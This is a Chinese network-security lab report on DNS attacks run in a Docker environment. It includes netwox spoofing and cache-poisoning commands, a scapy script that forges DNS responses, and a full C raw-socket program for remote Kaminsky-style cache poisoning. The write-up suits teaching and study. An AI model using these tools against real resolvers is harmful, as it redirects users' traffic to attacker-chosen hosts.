[计算机网络安全实验] DNS攻击实验

时间:2022-11-15 15:54:41

DNS攻击实验

1. IP 说明

你的用户机IP、DNS服务器 IP、攻击机IP

用户机IP: 172.17.0.2/16
本地DNS服务器IP: 172.17.0.3/16
攻击机IP: 172.17.0.1/16

2. 环境配置

2.进行实验环境的配置,包括用户机、DNS服务器配置,验证www.example.com是否解析为你所配置的ip地址。
  1. 客户机: 在 /etc/resolv.conf 中添加一条本地DNS服务器条目
    [计算机网络安全实验] DNS攻击实验
  2. 本地DNS服务器: 在配置文件 /etc/bind/named.conf.options 中配置bind9服务器, 并关闭DNSSEC
    [计算机网络安全实验] DNS攻击实验
  3. 本地DNS服务器: 在 /etc/bind/named.conf 文件中创建区域,并设置正向/反向查找区域文件, 并重启bind服务器.
    [计算机网络安全实验] DNS攻击实验
    添加文件 /etc/bind/example.com.db
    [计算机网络安全实验] DNS攻击实验
    $TTL 3D
    @	IN	SOA	ns.example.com. admin.example.com. (
    		2008111001
    		8H
    		2H
    		4W
    		1D)
    
    @	IN	NS	ns.example.com.
    @	IN	MX	10 mail.example.com.
    
    www	IN	A	192.168.0.101
    mail	IN	A	192.168.0.102
    ns	IN	A	192.168.0.10
    *.example.com.	IN	A 192.168.0.100
    
    添加文件 etc/bin/192.168.0.db
    [计算机网络安全实验] DNS攻击实验
    $TTL 3D
    @	IN	SOA	ns.example.com. admin.example.com. (
    		2008111001
    		8H
    		2H
    		4W
    		1D)
    @	IN	NS	ns.example.com.
    
    101	IN	PTR	www.example.com.
    102	IN	PTR	mail.example.com.
    10	IN	PTR	ns.example.com.
    
  • PS: 将区域文件由虚拟机复制到 docker 后, 群组和所有人均没有读权限, 需要使用 chmod 644 命令, 使得群组和所有人对区域文件具有读权限 (否则之后客户机DNS www.example.com的IP地址不会成功).
    [计算机网络安全实验] DNS攻击实验
    使用命令:
    $ chmod 644 /etc/bind/example.com.db 
    $ chmod 644 /etc/bind/192.168.0.db
    
    使用后权限群组和所有人对区域文件具有读权限
    [计算机网络安全实验] DNS攻击实验
    重启DNS服务器BIND服务
    [计算机网络安全实验] DNS攻击实验
  1. 客户机: 使用 dig 命令向本地 DNS 服务器询问 www.example.com 的IP地址, 如下图,得到了在本地 DNS 服务器文件中设置的 192.168.0.101
    [计算机网络安全实验] DNS攻击实验

3. DNS欺骗攻击 - netwox

用netwox命令实施DNS的用户响应欺骗攻击,列出攻击命令,截图和文字说明攻击过程和结果

攻击原理

客户机在域名查询时, 若在本地缓存中未找到对应的IP地址, 便会向本地DNS服务器发送DNS请求报文(使用 dig 命令时不会检查本地缓存), 请求该域名对应的IP地址, 然后本地DNS服务器对该请求进行响应, 发送给客户机DNS响应报文.
攻击机通过伪造本地DNS服务器给客户机的DNS响应报文, 以达到使用错误的IP地址欺骗客户机为查询域名的IP地址.
由于需要伪装成本地DNS服务器的响应报文, 因此在客户机查询需要本地DNS服务器向DNS系统查询且等待时间较长的外网域名时, 更容易攻击成功.

攻击命令

$ sudo netwox 105 -h "www.google.com" -H "182.61.200.6" -a "ns.example.com" -A "192.168.0.10" -f "src host 172.17.0.2" -d docker0

其中, 105 是 netwox 用于DNS攻击的命令号, 攻击的域名为谷歌网站的域名 www.google.com, 伪造后其对应的IP是 182.61.200.6 即上述的百度域名的IP(上述2个值均可随意设置, 但为了增大成功概率, 推荐攻击的域名为外网域名), 报文的过滤条件为源IP地址为 172.17.0.2 即来自客户机IP地址的报文, 网卡为 docker0.

攻击过程

  1. 攻击机: 使用 dig 查询 www.baidu.com 的IP地址,其中一个是182.61.200.6, 使用该IP作为伪造后的IP
    [计算机网络安全实验] DNS攻击实验
  2. 攻击机: 使用 netwox 工具构造上述攻击命令, 伪造 DNS 响应报文.
  3. 客户机: 使用 dig 命令查询 www.google.com 的IP地址, 如下图, 得到的响应就是伪造的 182.61.200.6 的IP地址. DNS欺骗攻击成功.
    [计算机网络安全实验] DNS攻击实验
  4. 攻击机: 在客户机使用 dig 命令时, 攻击机上会显示接收到的DNS请求以及伪造的DNS响应. 其中伪造报文中设置的伪造IP和 netwox 命令中一致
    [计算机网络安全实验] DNS攻击实验

4. DNS缓存中毒攻击 - netwox

用netwox命令实施DNS缓存中毒攻击,列出攻击命令,截图和文字说明攻击过程和结果

攻击原理

本地DNS服务器在响应客户机的DNS请求时, 会先查询本地DNS服务器自身的缓存, 若缓存中有客户机请求域名对应的IP地址, 则可以直接响应客户机, 否则则需要向域名系统进行查询.
在本地DNS服务器对该域名没有缓存向域名系统查询时, 攻击机伪造域名系统对本地DNS服务器的响应报文, 使得本地DNS服务器获取到错误的IP地址, 且会存储到其缓存中. 这样在后续一段时间, 本地DNS服务器响应客户机时都会使用错误的IP地址.

攻击命令

$ sudo netwox 105 --hostname "www.baidu.com" --hostnameip "5.6.7.8" --authns "ns.example.com" --authnsip "7.8.9.10" --filter "src host 172.17.0.3" --device docker0 --ttl 600

其中, 攻击的域名为百度的域名 www.baidu.com, 伪造后其对应的IP是 5.6.7.8, 设置解析百度域名的授权DNS服务器的域名为 ns.example.com, 授权DNS服务器的IP为 7.8.9.10(上述4个值均可随意设置), 报文的过滤条件为源IP地址为 172.17.0.3 即来自本地DNS服务器的报文, 网卡为docker0, 资源记录的过期时间为 600 秒.

  • PS: 指导书中说此处在 spoofip 字段中选择 raw, 即命令中附带选项 -s "raw". 但实际发现覆盖该选项后不能成功攻击, 需要去掉该选项.

攻击过程

  1. 服务器: 清空服务器DNS缓存, 并重新启动BIND服务
    $ sudo rndc flush        # 清空缓存
    $ sudo service bind9 restart    # 重启BIND服务
    
    [计算机网络安全实验] DNS攻击实验
  2. 攻击机: 使用 netwox 工具构造上述攻击命令, 伪造对本地DNS服务器的 DNS 响应报文.
  3. 客户机: 使用 dig 命令查询 www.baidu.com 的IP地址时, 如下图, 获取的是伪造的 5.6.7.8 的IP地址.
    [计算机网络安全实验] DNS攻击实验
  4. 攻击机: 在客户机使用 dig 命令时, 攻击机上会显示接收到的DNS请求以及伪造的DNS响应. 其中伪造报文中设置的伪造IP和 netwox 命令中一致
    [计算机网络安全实验] DNS攻击实验
  5. DNS服务器: 使用如下命令查询本地DNS缓存, 可以看到伪造的DNS响应已经存到了缓存中. DNS缓存中毒成功.
    $ sudo rndc dumpdb -cache    # 转储本地DNS服务器的缓存
    $ sudo cat /var/cache/bind/dump.db    # 读取转储后的缓存文件
    
    [计算机网络安全实验] DNS攻击实验

5. DNS缓存中毒攻击 - scapy

scapy实施DNS缓存中毒攻击,包括授权域和附加域的毒化,截图和文字说明攻击过程和结果
  1. 服务器: 清空服务器DNS缓存, 并重新启动BIND服务
  2. 攻击机: 编写 scapy 脚本
    #!/usr/bin/python2
    from scapy.all import *
    
    local_dns_srv = '172.17.0.3'
    
    def spoof_dns(pkt):
    	if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
    		# old(request) packet: src-local DNS server, dst-global DNS servers
    		# response packet src-global DNS server, dst-local DNS server
    
    		# swap the source and destination IP address
    		IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
    
    		# swap the src and dst port number
    		UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    
    		# the answer section
    		# let the response of query domain name(www.example.net) be 10.0.2.5
    		Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
    			ttl=259200, rdata='10.0.2.5')
    
    		# the authority section
    		# add 2 nameserver resource records
    		NSsec1 = DNSRR(rrname='example.net', type='NS',
    			ttl=259200, rdata='ns1.example.net')
    		NSsec2 = DNSRR(rrname='example.net', type='NS',
    			ttl=259200, rdata='ns2.example.net')
    
    		# the additional section
    		Addsec1 = DNSRR(rrname='ns1.example.net', type='A',
    			ttl=259200, rdata='1.2.3.4')
    		Addsec2 = DNSRR(rrname='ns2.example.net', type='A',
    			ttl=259200, rdata='3.4.5.6')
    		Addsec3 = DNSRR(rrname='www.facebook.com', type='A',
    			ttl=259200, rdata='5.6.7.8')
    
    		# construct the DNS response packet
    		# let DNS id and question record in response packet
    		#be the same as request packet
    		DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
    			qdcount=1, ancount=1, nscount=2, arcount=2,
    			an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
    
    		# construct the entire IP packet and send it out
    		spoofpkt = IPpkt/UDPpkt/DNSpkt
    		send(spoofpkt)
    
    f='udp and (src host {} and dst port 53)'.format(local_dns_srv)
    # sniff UDP qurey packets and invoke spoof_dns()
    sniff(filter=f, prn=spoof_dns)
    
    其中, 通过使用 sniff() 函数捕获报文, 报文过滤条件为: UDP类型且源地址是本地DNS服务器,目标端口是DNS的端口号 53 的报文(即本地DNS服务器发出的DNS请求报文). 监听到后调用回调函数 spoof_dns().
    spoof_dns() 中, 捕获目标为查询域名 www.example.net 的DNS报文. 对于该报文伪造一个DNS系统向本地DNS服务器的响应报文. 在报文中, 将应答部分, 即对 www.example.net 的IP应答设置为了 10.0.2.5. 并在授权域部分添加了两个针对 example.net 域的名称服务器的资源记录, 以及在附加域中添加了两个对上述名称服务器的IP地址的资源记录, 以及一个 www.facebook.com 的IP地址的资源记录.
    攻击机执行该脚本.
  3. 客户机: 使用 dig 命令查询 www.example.net 的IP地址时, 如下图, 获取的是伪造的 10.0.2.5 的IP地址. 并在授权域和附加域中有伪造的两个名称服务器的资源记录.
    但可以看到, 构造报文时在附加域中还添加了一个 www.facebook.com 的资源记录, 但并没有出现在响应报文中.
    [计算机网络安全实验] DNS攻击实验
  4. 攻击机: 在客户机使用 dig 命令时, 攻击机上会显示有伪造的DNS响应报文发出
    [计算机网络安全实验] DNS攻击实验
  5. DNS服务器: 使用如下命令查询本地DNS缓存, 可以看到伪造的DNS响应已经存到了缓存中. 同样的, 伪造报文中应答部分的查询域名的IP,授权域和附加域部分的两个名称服务器的域名IP都存到了缓存中, 但伪造的附加域中 www.facebook.com 的域名IP并未存储到缓存中.
    [计算机网络安全实验] DNS攻击实验

6. 远程DNS缓存中毒攻击配置

远程DNS缓存中毒攻击,实验环境配置,包括本地DNS服务器和攻击者机器的配置.

攻击前配置

  1. DNS服务器: 删除文件 /etc/bind/name.conf 中的 example.com 区域.
    [计算机网络安全实验] DNS攻击实验
  2. 攻击机: 在 /etc/resolv.conf 中添加一条本地DNS服务器条目, 使得本地DNS服务器作为其默认DNS服务器.
    [计算机网络安全实验] DNS攻击实验
  3. DNS服务器: 设置其查询源端口为固定值 33333, 以及关闭 DNSSEC, 最后清空DNS缓存后重启DNS服务器.
    [计算机网络安全实验] DNS攻击实验

结果验证配置

  1. DNS服务器: 配置用于结果验证的假域名.
    /etc/bind/named.conf.default-zones 文件中添加一个攻击者的区域 ns.huanghaoyan.net.

    zone "ns.huanghaoyan.net" {
        type master;
        file "/etc/bind/db.attacker";
    };
    

    [计算机网络安全实验] DNS攻击实验

  2. DNS服务器:
    创建文件 /etc/bind/db.attacker 文件, 并将以下内容放入其中, 让 ns.huanghaoyan.net 指向攻击机IP 172.17.0.1.
    [计算机网络安全实验] DNS攻击实验

    ;
    ; BIND data file for local loopback interface
    ;
    $TTL	604800
    @	IN	SOA	localhost. root.localhost. (
    			      2		; Serial
    			 604800		; Refresh
    			  86400		; Retry
    			2419200		; Expire
    			 604800 )	; Negative Cache TTL
    ;
    @	IN	NS	ns.huanghaoyan.net.
    @	IN	A	172.17.0.1
    @	IN	AAAA	::1
    

    并将该文件添加读权限

    $ chmod 644 /etc/bind/db.attacker
    

    设置完成后,如果缓存中毒攻击成功,发送给本地DNS服务器的关于 example.com 主机名的任何 DNS 查询都将被发送到攻击者的机器 172.17.0.1.

  3. 攻击机:
    配置DNS服务器以响应 example.com 的查询.
    /etc/bind/named.conf.local 中添加以下条目:
    [计算机网络安全实验] DNS攻击实验
    创建文件 /etc/bind/example.com.zone, 内容如下:
    [计算机网络安全实验] DNS攻击实验

    $TTL 3D
    @       IN      SOA     ns.example.com. admin.example.com. (
                    2008111001
                    8H
                    2H
                    4W
                    1D)
    
    @       IN      NS      ns.huanghaoyan.net.
    @	IN	MX	10 mail.example.com.
    www     IN      A       1.1.1.1
    mail	IN      A       1.1.1.2
    *.example.com.	IN      A       1.1.1.100
    

    给该文件添加读权限:

    $ sudo chmod 644 /etc/bind/example.com.zone
    

    如果攻击成功, 客户机上使用命令 dig www.example.com 得到的响应IP应该为 1.1.1.1.

7. 远程DNS缓存中毒攻击过程

远程缓存中毒攻击,提交攻击代码的流程设计和攻击代码,截图和文字说明攻击过程和结果验证。
  1. 攻击机: 使用 dig www.example.com 命令进行查询, 然后使用 Wireshark 进行抓包. 可以发现攻击机会向本地DNS服务器(172.17.0.3)发送DNS请求报文, 然后本地DNS服务器会向DNS系统请求该域名. 如下图, DNS系统中IP为 192.5.6.30 的服务器对本地DNS服务器进行了响应. 在远程DNS缓存中毒攻击中, 就需要伪造该主机的报文, 来使本地DNS服务器中毒.
    [计算机网络安全实验] DNS攻击实验

  2. 攻击机: 构造C语言编写的攻击代码如下:

    // ----udp.c------
    // This sample program must be run by root lol!
    //
    // The program is to spoofing tons of different queries to the victim.
    // Use wireshark to study the packets. However, it is not enough for
    // the lab, please finish the response packet and complete the task.
    //
    // Compile command:
    // gcc -lpcap udp.c -o udp
    //
    //
    
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <fcntl.h>
    #include <string.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <libnet.h>
    
    #define PCKT_LEN 8192   // 包长度
    #define FLAG_R 0x8400   // DNS响应报文
    #define FLAG_Q 0x0100   // DNS询问报文
    
    const char* Fake_IP = "\1\1\1\1";
    const char* Global_DNS_IP = "192.5.6.30";
    const char* Local_DNS_IP = "172.17.0.3";
    const char* Attacker_IP = "172.17.0.1";
    
    // Can create separate header file (.h) for all headers' structure
    
    // The IP header's structure IP头结构体
    struct ipheader {
        unsigned char iph_ihl : 4, iph_ver : 4;
        unsigned char iph_tos;
        unsigned short int iph_len;
        unsigned short int iph_ident;
        // unsigned char      iph_flag;
        unsigned short int iph_offset;
        unsigned char iph_ttl;
        unsigned char iph_protocol;
        unsigned short int iph_chksum;
        unsigned int iph_sourceip;
        unsigned int iph_destip;
    };
    
    // UDP header's structure UDP头结构体
    struct udpheader {
        unsigned short int udph_srcport;
        unsigned short int udph_destport;
        unsigned short int udph_len;
        unsigned short int udph_chksum;
    };
    
    // DNS header's structure DNS头结构体
    struct dnsheader {
        unsigned short int query_id;    //事务ID
        unsigned short int flags;       //标志位
        unsigned short int QDCOUNT;     //问题数
        unsigned short int ANCOUNT;     //回答资源记录数
        unsigned short int NSCOUNT;     //权威名称服务器数
        unsigned short int ARCOUNT;     //附加资源记录数
    };
    
    // This structure just for convinience in the DNS packet,
    //because such 4 byte data often appears.
    // DNS常用数据结构体
    struct dataEnd {
        unsigned short int type;
        unsigned short int class;
    };
    // total udp header length: 8 bytes (=64 bits)
    
    // 响应资源记录部分结构体
    struct ansEnd {
        //char* name;
        unsigned short int type;    //查询类型
        //char* type;
        unsigned short int class;   //查询类
        //char* class;
        //unsigned int ttl;
        unsigned short int ttl_l;   //生存时间低位
        unsigned short int ttl_h;   //生存时间高位
        unsigned short int datalen; //资源数据长度
    };
    
    // 名称服务器部分结构体
    struct nsEnd {
        //char* name;
        unsigned short int type;    //查询类型
        unsigned short int class;   //查询类
        //unsigned int ttl;
        unsigned short int ttl_l;   //生存时间低位
        unsigned short int ttl_h;   //生存时间高位
        unsigned short int datalen; //资源数据长度
        //unsigned int ns;
    };
    
    
    unsigned int checksum(uint16_t *usBuff, int isize) {
        unsigned int cksum = 0;
        for (; isize > 1; isize -= 2)     {
            cksum += *usBuff++;
        }
        if (isize == 1)     {
            cksum += *(uint16_t *)usBuff;
        }
    
        return (cksum);
    }
    
    // calculate udp checksum 计算UDP校验和
    uint16_t check_udp_sum(uint8_t *buffer, int len) {
        unsigned long sum = 0;
        struct ipheader *tempI = (struct ipheader *)(buffer);
        struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
        struct dnsheader *tempD = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
        tempH->udph_chksum = 0;
        sum = checksum((uint16_t *)&(tempI->iph_sourceip), 8);
        sum += checksum((uint16_t *)tempH, len);
        sum += ntohs(IPPROTO_UDP + len);
    
        sum = (sum >> 16) + (sum & 0x0000ffff);
        sum += (sum >> 16);
    
        return (uint16_t)(~sum);
    }
    
    // Function for checksum calculation. From the RFC,
    // the checksum algorithm is:
    //  "The checksum field is the 16 bit one's complement of the one's
    //  complement sum of all 16 bit words in the header.  For purposes of
    //  computing the checksum, the value of the checksum field is zero."
    unsigned short csum(unsigned short *buf, int nwords) { //
        unsigned long sum;
        for (sum = 0; nwords > 0; nwords--)
            sum += *buf++;
    
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return (unsigned short)(~sum);
    }
    
    // 构造响应包
    int geneResponse(char *requestURL) {
        // 套接字描述符
        int sd;
        // 数据包的缓冲区
        char buffer[PCKT_LEN];
        // 初始化缓冲区为0
        memset(buffer, 0, PCKT_LEN);
    
        // 初始化包头部指针
        // IP头部指针
        struct ipheader *ip = (struct ipheader *)buffer;
        // UDP头部指针
        struct udpheader *udp = (struct udpheader *)(buffer + sizeof(struct ipheader));
        // DNS头部指针
        struct dnsheader *dns = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
        // 初始化DNS数据部分指针
        char *data = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) +
                      sizeof(struct dnsheader));
    
        ///构造dns包
        // 设置DNS的flag位
        dns->flags = htons(FLAG_R); //响应报文
        dns->QDCOUNT = htons(1);    //问题数
        dns->ANCOUNT = htons(1);    //回答资源记录数
        dns->NSCOUNT = htons(1);    //名称服务器资源记录数
        dns->ARCOUNT = htons(1);    //附件资源记录数
    
        //查询部分
        strcpy(data, requestURL);   //查询的URL
        int length = strlen(data) + 1;
    
        struct dataEnd *end = (struct dataEnd *)(data + length);
        end->type = htons(1);       // A类型-域名->IP
        end->class = htons(1);      // IN类型-因特网IP地址 
    
        //回复资源记录部分
        char *ans = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                     + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length);
        strcpy(ans, requestURL);    //回复的URL
        int anslength = strlen(ans) + 1;
    
        struct ansEnd *ansend = (struct ansEnd *)(ans + anslength);
        ansend->type = htons(1);        //A类型
        ansend->class = htons(1);       //IN类型
        ansend->ttl_l = htons(0x00);    //生存时间
        ansend->ttl_h = htons(0xFFFF);  //tll,即有效的时间
        ansend->datalen = htons(4);     //回复的内容的长度
    
        char *ansaddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader)
                         + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length
                         + sizeof(struct ansEnd) + anslength);
        strcpy(ansaddr, Fake_IP);   //伪造的域名对应IP
        int addrlen = strlen(ansaddr);
    
        //ns域名服务器资源记录部分
        char *ns = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                    + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length 
                    + sizeof(struct ansEnd) + anslength + addrlen);
        //待解析的域名
        strcpy(ns, "\7example\3com");   // .example.com
        int nslength = strlen(ns) + 1;
    
        struct nsEnd *nsend = (struct nsEnd *)(ns + nslength);
        nsend->type = htons(2);
        nsend->class = htons(1);
        nsend->ttl_l = htons(0x00);
        nsend->ttl_h = htons(0xFFFF);   //tll,生存时间
        //数据的长度,为nsname的长度+1
        nsend->datalen = htons(23);
    
        char *nsname = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                        + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length 
                        + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd)
                        + nslength);
        //伪造的权威名称服务器
        strcpy(nsname, "\2ns\013huanghaoyan\3net");   //.ns.huanghaoyan.net
        int nsnamelen = strlen(nsname) + 1;
    
        //附加资源记录部分
        char *ar = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                    + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length 
                    + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) 
                    + nslength + nsnamelen);
        strcpy(ar, "\2ns\013huanghaoyan\3net");   //.ns.huanghaoyan.net
        int arlength = strlen(ar) + 1;
    
        struct ansEnd *arend = (struct ansEnd *)(ar + arlength);
        arend->type = htons(1);
        arend->class = htons(1);
        arend->ttl_l = htons(0x00);
        arend->ttl_h = htons(0xFFFF);
        arend->datalen = htons(4);
    
        char *araddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) 
                        + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length 
                        + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) 
                        + nslength + nsnamelen + arlength + sizeof(struct ansEnd));
        //172.17.0.1
        araddr[0]='\xac',araddr[1]='\x11',araddr[2]='\0',araddr[3]='\1';
        int araddrlen = strlen(araddr)+2;
    
        /dns包的构造到此完毕///
    
        //构造ip包
    
        struct sockaddr_in sin, din;
        int one = 1;
        const int *val = &one;
        sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
        if (sd < 0)
            printf("socket error\n");
        sin.sin_family = AF_INET;
        din.sin_family = AF_INET;
    
        //端口号
        sin.sin_port = htons(33333);
        din.sin_port = htons(53);
    
        //IP地址
        sin.sin_addr.s_addr = inet_addr(Local_DNS_IP);
        //example.com的域名服务器的地址,可通过抓包获得
        din.sin_addr.s_addr = inet_addr(Global_DNS_IP); 
        ip->iph_ihl = 5;
        ip->iph_ver = 4;
        ip->iph_tos = 0;
    
        unsigned short packetLength = (sizeof(struct ipheader) + sizeof(struct udpheader) 
                                        + sizeof(struct dnsheader) + length 
                                        + sizeof(struct dataEnd) + anslength 
                                        + sizeof(struct ansEnd) + nslength 
                                        + sizeof(struct nsEnd) + addrlen + nsnamelen 
                                        + arlength + sizeof(struct ansEnd) + araddrlen);
                                        // length + dataEnd_size == UDP_payload_size
    
        ip->iph_len = htons(packetLength);
        ip->iph_ident = htons(rand());
        ip->iph_ttl = 110;
        ip->iph_protocol = 17; // UDP
    
        // 该地值需要抓包确定
        ip->iph_sourceip = inet_addr(Global_DNS_IP);
    
        // 目标IP地址
        ip->iph_destip = inet_addr(Local_DNS_IP);
    
        // Fabricate the UDP header. Source port number, redundant
        // UDP头部, 源端口号和冗余
        // 源端口号和目的端口号
        udp->udph_srcport = htons(53); 
        udp->udph_destport = htons(33333);
        // udph_len = udp_header_size + udp_payload_size
        udp->udph_len = htons(sizeof(struct udpheader) + sizeof(struct dnsheader) 
                        + length + sizeof(struct dataEnd) + anslength + sizeof(struct ansEnd) 
                        + nslength + sizeof(struct nsEnd) + addrlen + nsnamelen + arlength 
                        + sizeof(struct ansEnd) + araddrlen); 
                        
        // Calculate the checksum for integrity//
        //计算校验和
        ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) 
                        + sizeof(struct udpheader));
        udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
    
        // Inform the kernel do not fill up the packet structure. we will build our own...
        if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
            printf("error\n");
            exit(-1);
        }
    
        int count = 0;
        int trans_id = 3000;
        while (count < 100) {
    
            // This is to generate different query in xxxxx.example.edu
            dns->query_id = trans_id + count;   //设置DNS事务ID
            //重新计算UDP校验和
            udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
    
            //发送数据包
            if (sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
                printf("packet send error %d which means %s\n", errno, strerror(errno));
            count++;
        }
        close(sd);
        return 0;
    }
    
    
    int main(int argc, char *argv[]) {
        // This is to check the argc number
        // 参数校验
        // if (argc != 3)  {
        //     printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first \
        //             to last:src_IP  dest_IP  \n");
        //     exit(-1);
        // }
    
        // socket descriptor
        //套接字描述符
        int sd;
        // buffer to hold the packet
        //报文缓冲区
        char buffer[PCKT_LEN];
        // set the buffer to 0 for all bytes
        memset(buffer, 0, PCKT_LEN);
    
        // Our own headers' structures
        // 初始化包头部指针
        struct ipheader *ip = (struct ipheader *)buffer;
        struct udpheader *udp = (struct udpheader *)(buffer + sizeof(struct ipheader));
        struct dnsheader *dns = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
    
        // data is the pointer points to the first byte of the dns payload
        char *data = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader));
    
        
        // dns fields(UDP payload field)
        // relate to the lab, you can change them. begin:
        
    
        //The flag you need to set
        dns->flags = htons(FLAG_Q);     // DNS询问报文
        //only 1 query, so the count should be one. 只有一条询问
        dns->QDCOUNT = htons(1);
    
        //query string
        strcpy(data, "\5aaaaa\7example\3com");  //aaaaa.example.com
        int length = strlen(data) + 1;
    
        //this is for convinience to get the struct type write the 4bytes in a more organized way.
        struct dataEnd *end = (struct dataEnd *)(data + length);
        end->type = htons(1);
        end->class = htons(1);
    
        /
        //
        // DNS format, relate to the lab, you need to change them, end
        //
        //
    
        /*************************************************************************************
    	Construction of the packet is done. 
    	now focus on how to do the settings and send the packet we have composed out
    	***************************************************************************************/
        // Source and destination addresses: IP and port
    
        struct sockaddr_in sin, din;
        int one = 1;
        const int *val = &one;
        // 随机生成DNS事务ID
        dns->query_id = rand(); // transaction ID for the query packet, use random #
    
        // Create a raw socket with UDP protocol
        sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    
        if (sd < 0) // if socket fails to be created
            printf("socket error\n");
    
        // The source is redundant, may be used later if needed
        // The address family
        sin.sin_family = AF_INET;
        din.sin_family = AF_INET;
    
        // Port numbers
        sin.sin_port = htons(33333);
        din.sin_port = htons(53);
    
        // IP addresses
        // src_IP
        sin.sin_addr.s_addr = inet_addr(Local_DNS_IP); // this is the second argument we input into the program
        // dest_IP
        din.sin_addr.s_addr = inet_addr(Attacker_IP); // this is the first argument we input into the program
    
        // Fabricate the IP header or we can use the
        // standard header structures but assign our own values.
        ip->iph_ihl = 5;
        ip->iph_ver = 4;
        ip->iph_tos = 0;                                                                                                                                     // Low delay
        unsigned short packetLength = (sizeof(struct ipheader) + sizeof(struct udpheader) 
                                       + sizeof(struct dnsheader) + length + sizeof(struct dataEnd)); // length + dataEnd_size == UDP_payload_size
        ip->iph_len = htons(packetLength);
        ip->iph_ident = htons(rand()); // we give a random number for the identification#
        ip->iph_ttl = 110;             // hops
        ip->iph_protocol = 17;         // UDP
    
        // Source IP address, can use spoofed address here!!!
        ip->iph_sourceip = inet_addr(Attacker_IP);
    
        // The destination IP address
        ip->iph_destip = inet_addr(Local_DNS_IP);
    
        // Fabricate the UDP header. Source port number, redundant
        // 随机使用一个源端口号
        udp->udph_srcport = htons(40000 + rand() % 10000); // source port number, I make them random... remember the lower number may be reserved
    
        // Destination port number
        udp->udph_destport = htons(53);
        udp->udph_len = htons(sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd)); // udp_header_size + udp_payload_size
    
        // Calculate the checksum for integrity//
        ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
        udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
    
        /*******************************************************************************8
    Tips
    
    the checksum is quite important to pass the checking integrity. You need 
    to study the algorithem and what part should be taken into the calculation.
    
    !!!!!If you change anything related to the calculation of the checksum, you need to re-
    calculate it or the packet will be dropped.!!!!!
    
    Here things became easier since I wrote the checksum function for you. You don't need
    to spend your time writing the right checksum function.
    Just for knowledge purpose,
    remember the seconed parameter
    for UDP checksum:
    ipheader_size + udpheader_size + udpData_size  
    for IP checksum: 
    ipheader_size + udpheader_size
    *********************************************************************************/
    
        // Inform the kernel do not fill up the packet structure. we will build our own...
        if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
            printf("error\n");
            exit(-1);
        }
    
        while (1) {
            // This is to generate different query in xxxxx.example.com
            // 对不同的xxxxx.example.com的前缀xxxxx进行随机生成
            // int charnumber;
            // charnumber = 1 + rand() % 5;
            // *(data + charnumber) += 1;
            char alpha[]="abcdefghijklmnopqrstuvwxyz";
            for(int k=1;k<=5;++k){
                data[k]=alpha[rand()%26];
            }
    
            udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader)); // recalculate the checksum for the UDP packet
    
            // send the packet out.
            if (sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
                printf("packet send error %d which means %s\n", errno, strerror(errno));
            sleep(0.9);
            //构造响应包
            geneResponse(data);
        }
    
        close(sd);
    
        return 0;
    }
    

    上述代码中, 在 main() 函数中构造了一个DNS查询报文, 由攻击机发送给本地DNS服务器, 其中查询的域名为 xxxxx.example.com, 其中前五个字符会随机生成.
    紧接着, 在 geneResponse() 函数中, 不断伪造DNS系统中IP为 192.5.6.30 的主机发送给本地DNS服务器的对请求域名的响应报文. 由于是远程DNS攻击, 因此无法获知DNS中的ID(query_id), 因此在函数中需要不断随机生成, 以达到生成的ID和实际本地DNS服务器发送的DNS查询报文的ID相同的目的, 从而使得本地DNS服务器将攻击机伪造的报文作为真实报文存入缓存, 这样就攻击成功了.

  3. 本地DNS服务器: 经多次攻击尝试, 攻击成功时查看本地DNS服务器的缓存, 可以看到缓存中已经存有了伪造的权威名称DNS服务器.
    [计算机网络安全实验] DNS攻击实验

